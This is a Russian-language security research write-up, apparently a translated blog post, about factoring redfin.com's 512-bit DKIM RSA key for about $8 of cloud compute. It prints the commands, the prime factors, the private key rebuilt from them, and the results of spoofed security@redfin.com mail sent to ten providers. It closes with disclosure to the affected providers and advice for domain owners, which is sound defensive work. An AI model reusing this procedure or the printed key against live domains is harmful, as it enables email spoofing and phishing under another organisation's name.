Как мы взломали 512-разрядный ключ DKIM в облаке менее чем за $8

В ходе нашего исследования, охватывавшего записи SPF, DKIM и DMARC на 1 миллионе самых популярных веб-сайтов, мы с удивлением обнаружили более 1 700 открытых DKIM-ключей длиной менее 1 024 бит каждый. Эта находка нас удивила, поскольку RSA-ключи короче 1 024 бит расцениваются как небезопасные, и их не рекомендуется использовать в DKIM с 2018 года, когда был введён в действие документ RFC 8301.

Просто из любопытства мы решили проверить, а удастся ли нам взломать один из таких ключей. Мы стремились извлечь закрытый ключ из открытого RSA-ключа, так, чтобы можно было подписывать им электронные сообщения, выдавая себя за их подлинного отправителя. Кроме того, нас занимало, пройдут ли DKIM-верификацию электронные письма, подписанные таким скомпрометированным ключом. Мы решили проверить крупнейших провайдеров электронной почты —  в частности, Gmail, Outlook.com и Yahoo Mail — вдруг они просто с порога откажутся проверять цифровые подписи, сгенерированные настолько коротким ключом.

Для нашего эксперимента мы выбрали домен redfin.com, на котором нашли 512-разрядный открытый RSA-ключ по адресу key1._domainkey.redfin.com (сейчас он уже не доступен):

$ dig +short TXT key1._domainkey.redfin.com "k=rsa; p=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMx7VnoRmk/wFPeFWxrVUde6AJQI51/uPFL2CbiHGMnRSnLjPs72AgxAVHIe5QrNQ2riR5+7u47Sgh5R5va/d0cCAwEAAQ=="

Декодируем открытый RSA-ключ

Открытый ключ, расположенный в метке p записи DKIM, закодирован в формате ASN.1 DER format, а затем закодирован как Base64. Чтобы декодировать ключ и далее получить модуль (n) и открытую экспоненту (e), мы воспользовались парой строк кода на Python:

$ python3 >>> from Crypto.PublicKey import RSA >>> RSA.import_key('-----BEGIN PUBLIC KEY-----\n' + 'MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMx7VnoRmk/wFPeFWxrVUde6AJQI51/uPFL2CbiHGMnRSnLjPs72AgxAVHIe5QrNQ2riR5+7u47Sgh5R5va/d0cCAwEAAQ==' + '\n-----END PUBLIC KEY-----') RsaKey(n=10709580243955269690347257968368575486652256021267387585731784527165077094358215924099792804326677548390607229176966588251215467367272433485332943072098119, e=65537)

Факторизация модуля RSA

Имея модуль n, далее мы собирались определить два простых числа p и q, произведение которых равно n. Эффективно выполнить такой процесс, именуемый «факторизацией» — задача порой непростая. К счастью, мы нашли мощный опенсорсный инструмент CADO-NFS, предназначенный именно для этой цели. В нём предлагается очень простая в использовании реализация алгоритма «решето числового поля» (NFS). Это наиболее эффективный из известных методов факторизации больших целых чисел.

Поскольку на факторизацию требуется значительная вычислительная мощность, а мы не хотели занимать это задачей наши компьютеры на много суток, мы решили арендовать облачный сервер. Выбрали сервер с 8 выделенными виртуальными ядрами ЦП (серия AMD EPYC 7003 series) и 32 ГБ ОЗУ от Hetzner, в качестве операционной системы установили Ubuntu. Далее нам не составило труда настроить CADO-NFS:

git clone https://gitlab.inria.fr/cado-nfs/cado-nfs.git cd cado-nfs make

Чтобы гарантировать, что у сервера хватит памяти на решение этой задачи, мы добавили ещё и область подкачки размером 32 ГБ:

sudo fallocate -l 32G /swapfile sudo chmod 600 /swapfile sudo mkswap /swapfile sudo swapon /swapfile

Мы приступили к факторизации, вызвав скрипт cado-nfs.py и сообщив ему n в качестве ввода:

./cado-nfs.py 10709580243955269690347257968368575486652256021267387585731784527165077094358215924099792804326677548390607229176966588251215467367272433485332943072098119

На нашем сервере с 8 виртуальными ядрами ЦП весь процесс занял примерно 86 часов, и мы успешно разложили n на p и q:

Info:Complete Factorization / Discrete logarithm: Total cpu/elapsed time for entire Complete Factorization 2.20529e+06/309865 [3d 14:04:25] 97850895333751392558280999318309697780438485965134147739065017624372104720767 109447953515671602102748820944693252789237215829169932130613751100276125683257

Вероятно, задача решалась бы ещё быстрее, если бы мы выбрали более мощный сервер или распределили рабочую нагрузку на несколько систем (такой процесс упрощается при помощи CADO-NFS), но мы никуда не торопились и вполне были готовы немного подождать.

Сборка закрытого RSA-ключа

Определив p и q, мы имели в распоряжении все необходимые компоненты, чтобы собрать закрытый RSA-ключ. При этом мы пользовались Python и библиотекой PyCryptodome:

$ python3 >>> from Crypto.PublicKey import RSA >>> from Crypto.Util.number import inverse >>> p = 97850895333751392558280999318309697780438485965134147739065017624372104720767 >>> q = 109447953515671602102748820944693252789237215829169932130613751100276125683257 >>> e = 65537 >>> n = p * q >>> phi = (p-1) * (q-1) >>> d = inverse(e, phi) >>> key = RSA.construct((n, e, d, p, q)) >>> private_key = key.export_key() >>> print(private_key.decode())

В этих строках на Python выводится закрытый ключ в формате PEM, он готов к использованию:

-----BEGIN RSA PRIVATE KEY----- MIIBOgIBAAJBAMx7VnoRmk/wFPeFWxrVUde6AJQI51/uPFL2CbiHGMnRSnLjPs72 AgxAVHIe5QrNQ2riR5+7u47Sgh5R5va/d0cCAwEAAQJAPliEv2dKk4DyA54nbwEH mSzfLEOiuD8dKXZW9GpMhou72DYYcc5YD0PeQW0uGGsusnTZXRU3Kd3cmVfeR+np 4QIhANhVpOQ440Gqlda3nqCOAag12jq8ET+qr1G7VL8x9PF/AiEA8flYr5rUO6Io /5HRoHq6p7dA75PRK+7v79o0/ijfTjkCIEdWPpCPfckKomxykllpWnyIfZT+rUVs WHHAL1r480erAiAz3xD87ALtGbESQE8gyM50n5sjAJwJf/odf7h2d4qPOQIhAKwr Nv6s5cQiwbYgm1KND83nrkxe6uFQlu9ilkdwAIY4 -----END RSA PRIVATE KEY-----

Отправка тестовых сообщений, подписанных DKIM, с домена @redfin.com

Встроив закрытый RSA-ключ в нашу конфигурацию OpenDKIM, мы перешли к этапу тестирования. Соорудили простое электронное сообщение, в качестве адреса отправителя указали security@redfin.com, а затем разослали это письмо на разные почтовые хостинги. Хотя большинство провайдеров верно идентифицировали 512-разрядный ключ как небезопасный и отклонили нашу DKIM=подпись, три крупных провайдера — Yahoo Mail, Mailfence и Tuta — выдали нам результат dkim=pass.

Вот как распределились ответы по провайдерам:

• Gmail: ОТКАЗ

• Outlook: ОТКАЗ

• Yahoo Mail: ПРОЙДЕНО

• Zoho: ОТКАЗ

• Fastmail: ОТКАЗ

• Proton Mail: ОТКАЗ

• Mailfence: ПРОЙДЕНО

• Tuta: ПРОЙДЕНО

• GMX: ОТКАЗ

• OnMail: ОТКАЗ

Учитывая, что у redfin.com также есть действующая DMARC-запись (v=DMARC1;p=reject;pct=100;rua=mailto:a+99923342@fdmarc.net;ruf=mailto:f+99923342@fdmarc.net;ri=3600;fo=1;), прохождение DKIM-проверки нашим сообщением с redfin.com автоматически означает, что наше сообщение прошло и DMARC-верификацию. Соответственно, оно удовлетворяет требованиям BIMI.

Вместо заключения

Тридцать лет назад взломать 512-разрядный открытый RSA-ключ можно было только на суперкомпьютере. Сегодня эта задача решаема за считанные часы на облачном сервере, за который придётся выложить $8. Если же у вас дома есть мощный компьютер с 16 или более ядрами, то эту задачу вы можете решить ещё скорее и экономичнее.

Соответственно, сегодня нецелесообразно использовать ключи из 512 или 768 разрядов. Сервисы электронной почты должны автоматически отклонять любую DKIM-сигнатуру, сгенерированную RSA-ключом короче 1 024 разрядов. Мы довели до сведения Yahoo, Mailfence и Tuta результаты нашего исследования и поделились с этими компаниями нашими советами.

Владельцы доменов должны принимать меры, регулярно проверяя свои DNS-настройки на наличие каких-либо устаревших DKIM-записей, не соответствующих стандарту «минимум 1024 разряда». Проще всего это сделать, проверив в записи DKIM метку p и подсчитав её символы Base64: в открытом 1024-разрядном RSA-ключе здесь будет не менее 216 символов.